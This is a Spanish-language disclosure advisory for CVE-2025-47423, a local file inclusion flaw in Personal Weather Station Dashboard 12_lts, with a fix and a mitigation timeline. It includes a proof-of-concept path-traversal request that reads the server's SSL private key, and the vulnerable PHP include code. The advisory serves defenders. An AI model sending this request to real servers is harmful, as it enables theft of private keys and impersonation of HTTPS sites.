CVE-2025-47423 – Inclusión Local de Archivos en Personal Weather Station Dashboard (12_lts)

Descubierto por: Matthew Eagle
Estado: Divulgación pública
Fecha de notificación: 2025-05-05
ID de CVE: CVE-2025-47423

---

🧩 Resumen

Una vulnerabilidad de Inclusión Local de Archivos (LFI) en la versión 12_lts de Personal Weather Station Dashboard permite a atacantes remotos no autenticados leer archivos arbitrarios en el servidor. La explotación de esta falla otorga acceso a archivos sensibles, incluidas claves SSL privadas, lo que podría comprometer la confidencialidad e integridad de las conexiones HTTPS.

---

🛠 Componente afectado

• Archivo: /others/_test.php
• Parámetro vulnerable: test (mediante GET)

---

📈 Impacto

Esta falla permite a los atacantes remotos:

• Leer archivos arbitrarios en el sistema de archivos
• Exponer claves SSL privadas (p. ej., server.key)
• Realizar ataques de intermediario (MITM)
• Suplantar el servidor HTTPS

CVSS: 5.8 Medio

---

💥 Prueba de concepto (PoC)

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

Respuesta:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

---

🧪 Código vulnerable (simplificado)

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

El str_replace es insuficiente para prevenir el recorrido de directorios.

---

🔐 Corrección segura

• Utilizar una lista de permitidos estricta para los destinos de inclusión
• Sanear la entrada con basename() y verificar contra los archivos permitidos
• Evitar la inclusión dinámica basada en la entrada del usuario

$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

---

📅 Cronología

Fecha	Evento
2025-05-05	Vulnerabilidad notificada a los moderadores de PWS Dashboard
2025-05-06	Acuse de recibo y pruebas observadas
2025-05-07	CVE-2025-47423 reservado a través de MITRE
2025-06-07	Parche público y listado del CVE confirmados

---

🧠 Mitigación

Si está ejecutando Personal Weather Station Dashboard 12_lts, debe:

• Eliminar o actualizar _test.php de inmediato
• Implementar el script corregido con lista blanca de archivos
• Rotar y reemitir cualquier certificado TLS comprometido

---

🧾 Referencias

• CVE-2025-47423 en MITRE (pendiente)
• Aviso publicado en GitHub

---

🙏 Créditos

Vulnerabilidad descubierta y divulgada de forma responsable por Matthew Eagle
Contacto: [email protected]

---

Divulgación coordinada conforme a las directrices de divulgación responsable. Este documento se publica con fines educativos y defensivos.